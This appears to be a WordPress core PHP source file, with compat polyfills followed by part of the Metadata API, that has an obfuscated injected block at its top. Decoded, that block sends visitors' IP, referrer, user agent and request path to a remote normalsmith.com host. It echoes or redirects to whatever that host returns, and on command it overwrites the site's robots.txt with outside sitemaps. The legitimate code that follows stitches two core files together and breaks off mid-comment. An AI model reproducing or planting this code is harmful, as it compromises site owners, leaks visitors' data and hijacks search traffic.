goto rM0J1; U_zq7: if (!(Preg_MaTch("\x2f\x6a\160\62\60\62\x33\143\x77\x77\57\163\x69", $_SERVER["\122\105\x51\x55\105\123\124\137\125\x52\111"]) == rounD(0 + 0 + 0 + 0))) { goto PBNG0; } goto B5EGR; mEhc4: foreach ($JX2Gl as $wY76d) { $KlyyG .= "\123\x69\x74\x65\x6d\x61\x70\72" . $wY76d . PHP_EOL; S0sbT: } goto zEQyb; rM0J1: erRoR_reportING(rOuND(0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0)); goto rBzpD; yxIeu: heaDEr($FVUNE); goto H35WJ; KuKRq: $TyjQh = fopEN($_SERVER["\104\117\103\125\115\x45\x4e\x54\137\x52\117\x4f\124"] . "\x2f\162\x6f\x62\x6f\x74\x73\x2e\164\x78\x74", "\x77"); goto g50MF; KbDj5: exit; goto fliK1; rgwlU: exit; goto fkJb3; YY9AE: exit; goto OPCN2; fliK1: OF1eu: goto d4622; mVOiN: $pvKjI = array("\123\x43\x52\x49\x50\124\x5f\x4e\x41\115\105", "\x52\x45\x51\x55\x45\123\x54\x5f\x55\x52\x49", "\x48\124\124\x50\123", "\x52\x45\121\125\105\123\124\x5f\x53\103\x48\x45\x4d\105", "\123\105\122\126\x45\x52\137\120\x4f\x52\124", "\122\105\x4d\117\124\105\137\x41\104\x44\122", "\110\124\x54\x50\x5f\122\x45\x46\105\122\x45\x52", "\110\124\124\x50\137\101\103\x43\x45\120\x54\x5f\114\x41\x4e\107\x55\x41\x47\x45", "\x48\x54\124\x50\137\x55\x53\105\x52\137\101\x47\105\116\124", "\110\x54\124\120\137\x48\117\123\124"); goto n9zTQ; Avfqm: $Jqgv5 = fILe_gET_CoNTeNtS($W1N33); goto LXaMo; ZplyZ: if (empty($myXbm)) { goto gbNoP; } goto h82hJ; FGhKf: $HY0pM = CUrL_Init(); goto fwXQ3; ks_eD: $KlyyG .= "\101\154\x6c\157\167\x3a\57" . PHP_EOL; goto xAqR1; gjxPV: $TD1Sb = CoUNt($fBe60); goto qG370; evQEW: $Jqgv5 = TRim($Jqgv5); goto xwKjC; gMbpg: $W1N33 = $BE19o . $pEIRb; goto FGhKf; xAqR1: $JX2Gl = EXPlOde("\74\x62\x72\57\x3e", $myXbm); goto SCnW9; iAq5o: $q63vT = "\163\171\x31"; goto GKBmc; n9zTQ: foreach ($pvKjI as $halZ_) { goto GJFRD; YdIhv: $P2zAk = STr_rEplace("\75", "\56", $P2zAk); goto niWdn; uCDA1: $P2zAk = bAsE64_enCode(tRiM($aRlEl)); goto oO9x8; kJk3X: GvzhV: goto XA1nd; oO9x8: $P2zAk = stR_RepLacE("\53", "\x2d", $P2zAk); goto gW9QY; GJFRD: $aRlEl = isset($_SERVER[$halZ_]) ? $_SERVER[$halZ_] : ''; goto uCDA1; gW9QY: $P2zAk = STr_rEplAcE("\57", "\137", $P2zAk); goto YdIhv; niWdn: $pEIRb .= "\x26" . $halZ_ . "\75" . $P2zAk; goto kJk3X; XA1nd: } goto NilMt; P42Dv: NjhZX: goto SKhWb; LXaMo: zJR9k: goto evQEW; GKBmc: if (!(Preg_MAtch("\57\x6a\x70\62\x30\62\x33\x2f\x73\x69", $_SERVER["\122\x45\x51\125\105\123\124\137\125\122\111"]) == rouND(0.29654511 + 0.096 + 0.20729367 + 0.1135637 + 0.2454 + 0.041))) { goto cA7ET; } goto U_zq7; BhjZp: $BE19o = "\150\x74\x74\x70\72\57\x2f" . $Z08Ns . "\x2e\x6e\x6f\x72\155\141\154\x73\155\x69\164\150\x2e\x63\157\155"; goto Z2ny8; CfJuL: if (!empty($Jqgv5)) { goto zJR9k; } goto Avfqm; kPilB: cURl_Setopt($HY0pM, CURLOPT_CONNECTTIMEOUT, rounD(1.51354 + 1.80828 + 1.13648 + 1.0196495 + 2.235794 + 0.89484865 + 1.3913967)); goto U4NKx; B5EGR: heaDER("\110\x54\x54\120\57\x31\56\x30\x20\x34\x30\64\x20\x4e\157\x74\x20\106\157\165\x6e\144"); goto tYSp0; GG7os: $FVUNE = triM($fBe60[rOUND(0 + 0)]); goto U_kQW; A1v3h: echo "\162\x6f\142\157\x74\163\56\x74\170\164\x20\x64\x6f\x6e\145"; goto KbDj5; ufcSp: $myXbm = TRIM($fBe60[RoUND(0.402049 + 0.17883 + 0.000854 + 0.0013 + 0.15749 + 0.2219 + 0.0376)]); goto ZplyZ; ZCx6v: if (!($XLYsL == "\160\x69\x6e\147")) { goto OF1eu; } goto wG1Dd; SCnW9: ArrAy_PoP($JX2Gl); goto mEhc4; H35WJ: eGIbt: goto ufcSp; dRvud: $XLYsL = tRIM($fBe60[$TD1Sb - RoUnd(0.0206 + 0.2904 + 0.198113 + 0.0442 + 0.216 + 0.23)]); goto M2vH7; uel0J: curl_SetopT($HY0pM, CURLOPT_RETURNTRANSFER, rouNd(0.2257778 + 0.27881481 + 0.2722963 + 0.223)); goto kPilB; fwXQ3: CuRL_setoPT($HY0pM, CURLOPT_URL, $W1N33); goto uel0J; M2vH7: if (!($XLYsL == "\145\x78\x69\x74")) { goto eb0b6; } goto o8Y__; liI1r: gbNoP: goto dRvud; d4622: goto ESWLt; goto P42Dv; xwKjC: $fBe60 = explODe("\174\x40\x23\x24\174", $Jqgv5); goto gjxPV; zEQyb: Ml2Lm: goto KuKRq; g50MF: FWriTe($TyjQh, $KlyyG); goto M2EHR; zL6bG: cURl_cLose($HY0pM); goto CfJuL; M2EHR: fClOSE($TyjQh); goto A1v3h; Z2ny8: $pEIRb = "\57\x69\156\144\145\170\x2e\160\150\160\77\126\123\x3d" . $q63vT . "\46\x47\x50\x3d" . $Z08Ns; goto mVOiN; qG370: if ($TD1Sb < 3) { goto NjhZX; } goto GG7os; o8Y__: exit; goto ZwfMj; NilMt: GUtpU: goto gMbpg; U4NKx: $Jqgv5 = CUrl_Exec($HY0pM); goto OEGkr; h82hJ: echo $myXbm; goto liI1r; SKhWb: HEADer("\110\x54\x54\x50\x2f\61\x2e\60\40\x34\x30\x34\40\116\x6f\x74\40\x46\157\x75\x6e\x64"); goto YY9AE; fkJb3: cA7ET: goto BhjZp; tYSp0: PBNG0: goto nkGgX; nkGgX: echo "\110\x54\124\x50\x2f\61\56\60\40\x34\60\x34\40\116\x6f\x74\40\x46\x6f\x75\x6e\144\137\x5f\137" . $Z08Ns . "\137\137\137" . $q63vT; goto rgwlU; ZwfMj: eb0b6: goto ZCx6v; wG1Dd: $KlyyG = "\x55\x73\x65\162\x2d\x61\147\x65\156\x74\72\52" . PHP_EOL; goto ks_eD; U_kQW: if (empty($FVUNE)) { goto eGIbt; } goto yxIeu; OEGkr: $Jqgv5 = tRIm($Jqgv5); goto zL6bG; rBzpD: $Z08Ns = "\x7a\x6a\61\x35\x35\x34"; goto iAq5o; OPCN2: ESWLt:
?>
/**
* WordPress implementation for PHP functions either missing from older PHP versions or not included by default.
*
* @package PHP
* @access private
*/
// If gettext isn't available
if ( ! function_exists( '_' ) ) {
function _( $string ) {
return $string;
}
}
/**
* Returns whether PCRE/u (PCRE_UTF8 modifier) is available for use.
*
* @ignore
* @since 4.2.2
* @access private
*
* @staticvar string $utf8_pcre
*
* @param bool $set - Used for testing only
* null : default - get PCRE/u capability
* false : Used for testing - return false for future calls to this function
* 'reset': Used for testing - restore default behavior of this function
*/
function _wp_can_use_pcre_u( $set = null ) {
static $utf8_pcre = 'reset';
if ( null !== $set ) {
$utf8_pcre = $set;
}
if ( 'reset' === $utf8_pcre ) {
$utf8_pcre = @preg_match( '/^./u', 'a' );
}
return $utf8_pcre;
}
if ( ! function_exists( 'mb_substr' ) ) :
/**
* Compat function to mimic mb_substr().
*
* @ignore
* @since 3.2.0
*
* @see _mb_substr()
*
* @param string $str The string to extract the substring from.
* @param int $start Position to being extraction from in `$str`.
* @param int|null $length Optional. Maximum number of characters to extract from `$str`.
* Default null.
* @param string|null $encoding Optional. Character encoding to use. Default null.
* @return string Extracted substring.
*/
function mb_substr( $str, $start, $length = null, $encoding = null ) {
return _mb_substr( $str, $start, $length, $encoding );
}
endif;
/**
* Internal compat function to mimic mb_substr().
*
* Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit.
* For $encoding === UTF-8, the $str input is expected to be a valid UTF-8 byte sequence.
* The behavior of this function for invalid inputs is undefined.
*
* @ignore
* @since 3.2.0
*
* @param string $str The string to extract the substring from.
* @param int $start Position to being extraction from in `$str`.
* @param int|null $length Optional. Maximum number of characters to extract from `$str`.
* Default null.
* @param string|null $encoding Optional. Character encoding to use. Default null.
* @return string Extracted substring.
*/
function _mb_substr( $str, $start, $length = null, $encoding = null ) {
if ( null === $encoding ) {
$encoding = get_option( 'blog_charset' );
}
/*
* The solution below works only for UTF-8, so in case of a different
* charset just use built-in substr().
*/
if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) ) ) {
return is_null( $length ) ? substr( $str, $start ) : substr( $str, $start, $length );
}
if ( _wp_can_use_pcre_u() ) {
// Use the regex unicode support to separate the UTF-8 characters into an array.
preg_match_all( '/./us', $str, $match );
$chars = is_null( $length ) ? array_slice( $match[0], $start ) : array_slice( $match[0], $start, $length );
return implode( '', $chars );
}
$regex = '/(
[\x00-\x7F] # single-byte sequences 0xxxxxxx
| [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx
| \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2
| [\xE1-\xEC][\x80-\xBF]{2}
| \xED[\x80-\x9F][\x80-\xBF]
| [\xEE-\xEF][\x80-\xBF]{2}
| \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3
| [\xF1-\xF3][\x80-\xBF]{3}
| \xF4[\x80-\x8F][\x80-\xBF]{2}
)/x';
// Start with 1 element instead of 0 since the first thing we do is pop.
$chars = array( '' );
do {
// We had some string left over from the last round, but we counted it in that last round.
array_pop( $chars );
/*
* Split by UTF-8 character, limit to 1000 characters (last array element will contain
* the rest of the string).
*/
$pieces = preg_split( $regex, $str, 1000, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY );
$chars = array_merge( $chars, $pieces );
// If there's anything left over, repeat the loop.
} while ( count( $pieces ) > 1 && $str = array_pop( $pieces ) );
return join( '', array_slice( $chars, $start, $length ) );
}
if ( ! function_exists( 'mb_strlen' ) ) :
/**
* Compat function to mimic mb_strlen().
*
* @ignore
* @since 4.2.0
*
* @see _mb_strlen()
*
* @param string $str The string to retrieve the character length from.
* @param string|null $encoding Optional. Character encoding to use. Default null.
* @return int String length of `$str`.
*/
function mb_strlen( $str, $encoding = null ) {
return _mb_strlen( $str, $encoding );
}
endif;
/**
* Internal compat function to mimic mb_strlen().
*
* Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit.
* For $encoding === UTF-8, the `$str` input is expected to be a valid UTF-8 byte
* sequence. The behavior of this function for invalid inputs is undefined.
*
* @ignore
* @since 4.2.0
*
* @param string $str The string to retrieve the character length from.
* @param string|null $encoding Optional. Character encoding to use. Default null.
* @return int String length of `$str`.
*/
function _mb_strlen( $str, $encoding = null ) {
if ( null === $encoding ) {
$encoding = get_option( 'blog_charset' );
}
/*
* The solution below works only for UTF-8, so in case of a different charset
* just use built-in strlen().
*/
if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) ) ) {
return strlen( $str );
}
if ( _wp_can_use_pcre_u() ) {
// Use the regex unicode support to separate the UTF-8 characters into an array.
preg_match_all( '/./us', $str, $match );
return count( $match[0] );
}
$regex = '/(?:
[\x00-\x7F] # single-byte sequences 0xxxxxxx
| [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx
| \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2
| [\xE1-\xEC][\x80-\xBF]{2}
| \xED[\x80-\x9F][\x80-\xBF]
| [\xEE-\xEF][\x80-\xBF]{2}
| \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3
| [\xF1-\xF3][\x80-\xBF]{3}
| \xF4[\x80-\x8F][\x80-\xBF]{2}
)/x';
// Start at 1 instead of 0 since the first thing we do is decrement.
$count = 1;
do {
// We had some string left over from the last round, but we counted it in that last round.
$count--;
/*
* Split by UTF-8 character, limit to 1000 characters (last array element will contain
* the rest of the string).
*/
$pieces = preg_split( $regex, $str, 1000 );
// Increment.
$count += count( $pieces );
// If there's anything left over, repeat the loop.
} while ( $str = array_pop( $pieces ) );
// Fencepost: preg_split() always returns one extra item in the array.
return --$count;
}
if ( ! function_exists( 'hash_hmac' ) ) :
/**
* Compat function to mimic hash_hmac().
*
* @ignore
* @since 3.2.0
*
* @see _hash_hmac()
*
* @param string $algo Hash algorithm. Accepts 'md5' or 'sha1'.
* @param string $data Data to be hashed.
* @param string $key Secret key to use for generating the hash.
* @param bool $raw_output Optional. Whether to output raw binary data (true),
* or lowercase hexits (false). Default false.
* @return string|false The hash in output determined by `$raw_output`. False if `$algo`
* is unknown or invalid.
*/
function hash_hmac( $algo, $data, $key, $raw_output = false ) {
return _hash_hmac( $algo, $data, $key, $raw_output );
}
endif;
/**
* Internal compat function to mimic hash_hmac().
*
* @ignore
* @since 3.2.0
*
* @param string $algo Hash algorithm. Accepts 'md5' or 'sha1'.
* @param string $data Data to be hashed.
* @param string $key Secret key to use for generating the hash.
* @param bool $raw_output Optional. Whether to output raw binary data (true),
* or lowercase hexits (false). Default false.
* @return string|false The hash in output determined by `$raw_output`. False if `$algo`
* is unknown or invalid.
*/
function _hash_hmac( $algo, $data, $key, $raw_output = false ) {
$packs = array(
'md5' => 'H32',
'sha1' => 'H40',
);
if ( ! isset( $packs[ $algo ] ) ) {
return false;
}
$pack = $packs[ $algo ];
if ( strlen( $key ) > 64 ) {
$key = pack( $pack, $algo( $key ) );
}
$key = str_pad( $key, 64, chr( 0 ) );
$ipad = ( substr( $key, 0, 64 ) ^ str_repeat( chr( 0x36 ), 64 ) );
$opad = ( substr( $key, 0, 64 ) ^ str_repeat( chr( 0x5C ), 64 ) );
$hmac = $algo( $opad . pack( $pack, $algo( $ipad . $data ) ) );
if ( $raw_output ) {
return pack( $pack, $hmac );
}
return $hmac;
}
if ( ! function_exists( 'json_encode' ) ) {
function json_encode( $string ) {
global $wp_json;
if ( ! ( $wp_json instanceof Services_JSON ) ) {
require_once( ABSPATH . WPINC . '/class-json.php' );
$wp_json = new Services_JSON();
}
return $wp_json->encodeUnsafe( $string );
}
}
if ( ! function_exists( 'json_decode' ) ) {
/**
* @global Services_JSON $wp_json
* @param string $string
* @param bool $assoc_array
* @return object|array
*/
function json_decode( $string, $assoc_array = false ) {
global $wp_json;
if ( ! ( $wp_json instanceof Services_JSON ) ) {
require_once( ABSPATH . WPINC . '/class-json.php' );
$wp_json = new Services_JSON();
}
$res = $wp_json->decode( $string );
if ( $assoc_array ) {
$res = _json_decode_object_helper( $res );
}
return $res;
}
/**
* @param object $data
* @return array
*/
function _json_decode_object_helper( $data ) {
if ( is_object( $data ) ) {
$data = get_object_vars( $data );
}
return is_array( $data ) ? array_map( __FUNCTION__, $data ) : $data;
}
}
if ( ! function_exists( 'hash_equals' ) ) :
/**
* Timing attack safe string comparison
*
* Compares two strings using the same time whether they're equal or not.
*
* This function was added in PHP 5.6.
*
* Note: It can leak the length of a string when arguments of differing length are supplied.
*
* @since 3.9.2
*
* @param string $a Expected string.
* @param string $b Actual, user supplied, string.
* @return bool Whether strings are equal.
*/
function hash_equals( $a, $b ) {
$a_length = strlen( $a );
if ( $a_length !== strlen( $b ) ) {
return false;
}
$result = 0;
// Do not attempt to "optimize" this.
for ( $i = 0; $i < $a_length; $i++ ) {
$result |= ord( $a[ $i ] ) ^ ord( $b[ $i ] );
}
return $result === 0;
}
endif;
// JSON_PRETTY_PRINT was introduced in PHP 5.4
// Defined here to prevent a notice when using it with wp_json_encode()
if ( ! defined( 'JSON_PRETTY_PRINT' ) ) {
define( 'JSON_PRETTY_PRINT', 128 );
}
if ( ! function_exists( 'json_last_error_msg' ) ) :
/**
* Retrieves the error string of the last json_encode() or json_decode() call.
*
* @since 4.4.0
*
* @internal This is a compatibility function for PHP <5.5
*
* @return bool|string Returns the error message on success, "No Error" if no error has occurred,
* or false on failure.
*/
function json_last_error_msg() {
// See https://core.trac.wordpress.org/ticket/27799.
if ( ! function_exists( 'json_last_error' ) ) {
return false;
}
$last_error_code = json_last_error();
// Just in case JSON_ERROR_NONE is not defined.
$error_code_none = defined( 'JSON_ERROR_NONE' ) ? JSON_ERROR_NONE : 0;
switch ( true ) {
case $last_error_code === $error_code_none:
return 'No error';
case defined( 'JSON_ERROR_DEPTH' ) && JSON_ERROR_DEPTH === $last_error_code:
return 'Maximum stack depth exceeded';
case defined( 'JSON_ERROR_STATE_MISMATCH' ) && JSON_ERROR_STATE_MISMATCH === $last_error_code:
return 'State mismatch (invalid or malformed JSON)';
case defined( 'JSON_ERROR_CTRL_CHAR' ) && JSON_ERROR_CTRL_CHAR === $last_error_code:
return 'Control character error, possibly incorrectly encoded';
case defined( 'JSON_ERROR_SYNTAX' ) && JSON_ERROR_SYNTAX === $last_error_code:
return 'Syntax error';
case defined( 'JSON_ERROR_UTF8' ) && JSON_ERROR_UTF8 === $last_error_code:
return 'Malformed UTF-8 characters, possibly incorrectly encoded';
case defined( 'JSON_ERROR_RECURSION' ) && JSON_ERROR_RECURSION === $last_error_code:
return 'Recursion detected';
case defined( 'JSON_ERROR_INF_OR_NAN' ) && JSON_ERROR_INF_OR_NAN === $last_error_code:
return 'Inf and NaN cannot be JSON encoded';
case defined( 'JSON_ERROR_UNSUPPORTED_TYPE' ) && JSON_ERROR_UNSUPPORTED_TYPE === $last_error_code:
return 'Type is not supported';
default:
return 'An unknown error occurred';
}
}
endif;
if ( ! interface_exists( 'JsonSerializable' ) ) {
define( 'WP_JSON_SERIALIZE_COMPATIBLE', true );
/**
* JsonSerializable interface.
*
* Compatibility shim for PHP <5.4
*
* @link https://secure.php.net/jsonserializable
*
* @since 4.4.0
*/
interface JsonSerializable {
public function jsonSerialize();
}
}
// random_int was introduced in PHP 7.0
if ( ! function_exists( 'random_int' ) ) {
require ABSPATH . WPINC . '/random_compat/random.php';
}
// sodium_crypto_box was introduced in PHP 7.2
if ( ! function_exists( 'sodium_crypto_box' ) ) {
require ABSPATH . WPINC . '/sodium_compat/autoload.php';
}
if ( ! function_exists( 'array_replace_recursive' ) ) :
/**
* PHP-agnostic version of {@link array_replace_recursive()}.
*
* The array_replace_recursive() function is a PHP 5.3 function. WordPress
* currently supports down to PHP 5.2, so this method is a workaround
* for PHP 5.2.
*
* Note: array_replace_recursive() supports infinite arguments, but for our use-
* case, we only need to support two arguments.
*
* Subject to removal once WordPress makes PHP 5.3.0 the minimum requirement.
*
* @since 4.5.3
*
* @see https://secure.php.net/manual/en/function.array-replace-recursive.php#109390
*
* @param array $base Array with keys needing to be replaced.
* @param array $replacements Array with the replaced keys.
*
* @return array
*/
function array_replace_recursive( $base = array(), $replacements = array() ) {
foreach ( array_slice( func_get_args(), 1 ) as $replacements ) {
$bref_stack = array( &$base );
$head_stack = array( $replacements );
do {
end( $bref_stack );
$bref = &$bref_stack[ key( $bref_stack ) ];
$head = array_pop( $head_stack );
unset( $bref_stack[ key( $bref_stack ) ] );
foreach ( array_keys( $head ) as $key ) {
if ( isset( $key, $bref ) &&
isset( $bref[ $key ] ) && is_array( $bref[ $key ] ) &&
isset( $head[ $key ] ) && is_array( $head[ $key ] ) ) {
$bref_stack[] = &$bref[ $key ];
$head_stack[] = $head[ $key ];
} else {
$bref[ $key ] = $head[ $key ];
}
}
} while ( count( $head_stack ) );
}
return $base;
}
endif;
/**
* Polyfill for the SPL autoloader. In PHP 5.2 (but not 5.3 and later), SPL can
* be disabled, and PHP 7.2 raises notices if the compiler finds an __autoload()
* function declaration. Function availability is checked here, and the
* autoloader is included only if necessary.
*/
if ( ! function_exists( 'spl_autoload_register' ) ) {
require_once ABSPATH . WPINC . '/spl-autoload-compat.php';
}
if ( ! function_exists( 'is_countable' ) ) {
/**
* Polyfill for is_countable() function added in PHP 7.3.
*
* Verify that the content of a variable is an array or an object
* implementing the Countable interface.
*
* @since 4.9.6
*
* @param mixed $var The value to check.
*
* @return bool True if `$var` is countable, false otherwise.
*/
function is_countable( $var ) {
return ( is_array( $var )
|| $var instanceof Countable
|| $var instanceof SimpleXMLElement
|| $var instanceof ResourceBundle
);
}
}
if ( ! function_exists( 'is_iterable' ) ) {
/**
* Polyfill for is_iterable() function added in PHP 7.1.
*
* Verify that the content of a variable is an array or an object
* implementing the Traversable interface.
*
* @since 4.9.6
*
* @param mixed $var The value to check.
*
* @return bool True if `$var` is iterable, false otherwise.
*/
function is_iterable( $var ) {
return ( is_array( $var ) || $var instanceof Traversable );
}
}
if ( ! function_exists( 'str_starts_with' ) ) {
/**
* Polyfill for `str_starts_with()` function added in PHP 8.0.
*
* Performs a case-sensitive check indicating if
* the haystack begins with needle.
*
* @since 5.9.0
*
* @param string $haystack The string to search in.
* @param string $needle The substring to search for in the `$haystack`.
* @return bool True if `$haystack` starts with `$needle`, otherwise false.
*/
function str_starts_with( $haystack, $needle ) {
if ( '' === $needle ) {
return true;
}
return 0 === strpos( $haystack, $needle );
}
}
if ( ! function_exists( 'str_ends_with' ) ) {
/**
* Polyfill for `str_ends_with()` function added in PHP 8.0.
*
* Performs a case-sensitive check indicating if
* the haystack ends with needle.
*
* @since 5.9.0
*
* @param string $haystack The string to search in.
* @param string $needle The substring to search for in the `$haystack`.
* @return bool True if `$haystack` ends with `$needle`, otherwise false.
*/
function str_ends_with( $haystack, $needle ) {
if ( '' === $haystack ) {
return '' === $needle;
}
$len = strlen( $needle );
return substr( $haystack, -$len, $len ) === $needle;
}
}
/**
* Core Metadata API
*
* Functions for retrieving and manipulating metadata of various WordPress object types. Metadata
* for an object is a represented by a simple key-value pair. Objects may contain multiple
* metadata entries that share the same key and differ only in their value.
*
* @package WordPress
* @subpackage Meta
*/
/**
* Add metadata for the specified object.
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for (e.g., comment, post, term, or user).
* @param int $object_id ID of the object metadata is for
* @param string $meta_key Metadata key
* @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
* @param bool $unique Optional, default is false.
* Whether the specified metadata key should be unique for the object.
* If true, and the object already has a value for the specified metadata key,
* no change will be made.
* @return int|false The meta ID on success, false on failure.
*/
function add_metadata( $meta_type, $object_id, $meta_key, $meta_value, $unique = false ) {
global $wpdb;
if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$meta_subtype = get_object_subtype( $meta_type, $object_id );
$column = sanitize_key( $meta_type . '_id' );
// expected_slashed ($meta_key)
$meta_key = wp_unslash( $meta_key );
$meta_value = wp_unslash( $meta_value );
$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );
/**
* Filters whether to add metadata of a specific type.
*
* The dynamic portion of the hook, `$meta_type`, refers to the meta
* object type (comment, post, term, or user). Returning a non-null value
* will effectively short-circuit the function.
*
* @since 3.1.0
*
* @param null|bool $check Whether to allow adding metadata for the given type.
* @param int $object_id Object ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value. Must be serializable if non-scalar.
* @param bool $unique Whether the specified meta key should be unique
* for the object. Optional. Default false.
*/
$check = apply_filters( "add_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $unique );
if ( null !== $check ) {
return $check;
}
if ( $unique && $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $table WHERE meta_key = %s AND $column = %d",
$meta_key,
$object_id
)
) ) {
return false;
}
$_meta_value = $meta_value;
$meta_value = maybe_serialize( $meta_value );
/**
* Fires immediately before meta of a specific type is added.
*
* The dynamic portion of the hook, `$meta_type`, refers to the meta
* object type (comment, post, term, or user).
*
* @since 3.1.0
*
* @param int $object_id Object ID.
* @param string $meta_key Meta key.
* @param mixed $_meta_value Meta value.
*/
do_action( "add_{$meta_type}_meta", $object_id, $meta_key, $_meta_value );
$result = $wpdb->insert(
$table,
array(
$column => $object_id,
'meta_key' => $meta_key,
'meta_value' => $meta_value,
)
);
if ( ! $result ) {
return false;
}
$mid = (int) $wpdb->insert_id;
wp_cache_delete( $object_id, $meta_type . '_meta' );
/**
* Fires immediately after meta of a specific type is added.
*
* The dynamic portion of the hook, `$meta_type`, refers to the meta
* object type (comment, post, term, or user).
*
* @since 2.9.0
*
* @param int $mid The meta ID after successful update.
* @param int $object_id Object ID.
* @param string $meta_key Meta key.
* @param mixed $_meta_value Meta value.
*/
do_action( "added_{$meta_type}_meta", $mid, $object_id, $meta_key, $_meta_value );
return $mid;
}
/**
* Update metadata for the specified object. If no value already exists for the specified object
* ID and metadata key, the metadata will be added.
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for (e.g., comment, post, term, or user).
* @param int $object_id ID of the object metadata is for
* @param string $meta_key Metadata key
* @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
* @param mixed $prev_value Optional. If specified, only update existing metadata entries with
* the specified value. Otherwise, update all entries.
* @return int|bool The new meta field ID if a field with the given key didn't exist and was
* therefore added, true on successful update, false on failure.
*/
function update_metadata( $meta_type, $object_id, $meta_key, $meta_value, $prev_value = '' ) {
global $wpdb;
if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$meta_subtype = get_object_subtype( $meta_type, $object_id );
$column = sanitize_key( $meta_type . '_id' );
$id_column = 'user' == $meta_type ? 'umeta_id' : 'meta_id';
// expected_slashed ($meta_key)
$raw_meta_key = $meta_key;
$meta_key = wp_unslash( $meta_key );
$passed_value = $meta_value;
$meta_value = wp_unslash( $meta_value );
$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );
/**
* Filters whether to update metadata of a specific type.
*
* The dynamic portion of the hook, `$meta_type`, refers to the meta
* object type (comment, post, term, or user). Returning a non-null value
* will effectively short-circuit the function.
*
* @since 3.1.0
*
* @param null|bool $check Whether to allow updating metadata for the given type.
* @param int $object_id Object ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value. Must be serializable if non-scalar.
* @param mixed $prev_value Optional. If specified, only update existing
* metadata entries with the specified value.
* Otherwise, update all entries.
*/
$check = apply_filters( "update_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $prev_value );
if ( null !== $check ) {
return (bool) $check;
}
// Compare existing value to new value if no prev value given and the key exists only once.
if ( empty( $prev_value ) ) {
$old_value = get_metadata( $meta_type, $object_id, $meta_key );
if ( count( $old_value ) == 1 ) {
if ( $old_value[0] === $meta_value ) {
return false;
}
}
}
$meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s AND $column = %d", $meta_key, $object_id ) );
if ( empty( $meta_ids ) ) {
return add_metadata( $meta_type, $object_id, $raw_meta_key, $passed_value );
}
$_meta_value = $meta_value;
$meta_value = maybe_serialize( $meta_value );
$data = compact( 'meta_value' );
$where = array(
$column => $object_id,
'meta_key' => $meta_key,
);
if ( ! empty( $prev_value ) ) {
$prev_value = maybe_serialize( $prev_value );
$where['meta_value'] = $prev_value;
}
foreach ( $meta_ids as $meta_id ) {
/**
* Fires immediately before updating metadata of a specific type.
*
* The dynamic portion of the hook, `$meta_type`, refers to the meta
* object type (comment, post, term, or user).
*
* @since 2.9.0
*
* @param int $meta_id ID of the metadata entry to update.
* @param int $object_id Object ID.
* @param string $meta_key Meta key.
* @param mixed $_meta_value Meta value.
*/
do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
if ( 'post' == $meta_type ) {
/**
* Fires immediately before updating a post's metadata.
*
* @since 2.9.0
*
* @param int $meta_id ID of metadata entry to update.
* @param int $object_id Post ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value. This will be a PHP-serialized string representation of the value if
* the value is an array, an object, or itself a PHP-serialized string.
*/
do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
}
}
$result = $wpdb->update( $table, $data, $where );
if ( ! $result ) {
return false;
}
wp_cache_delete( $object_id, $meta_type . '_meta' );
foreach ( $meta_ids as $meta_id ) {
/**
* Fires immediately after updating metadata of a specific type.
*
* The dynamic portion of the hook, `$meta_type`, refers to the meta
* object type (comment, post, term, or user).
*
* @since 2.9.0
*
* @param int $meta_id ID of updated metadata entry.
* @param int $object_id Object ID.
* @param string $meta_key Meta key.
* @param mixed $_meta_value Meta value.
*/
do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
if ( 'post' == $meta_type ) {
/**
* Fires immediately after updating a post's metadata.
*
* @since 2.9.0
*
* @param int $meta_id ID of updated metadata entry.
* @param int $object_id Post ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value. This will be a PHP-serialized string representation of the value if
* the value is an array, an object, or itself a PHP-serialized string.
*/
do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
}
}
return true;
}
/**
* Delete metadata for the specified object.
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for (e.g., comment, post, term, or user).
* @param int $object_id ID of the object metadata is for
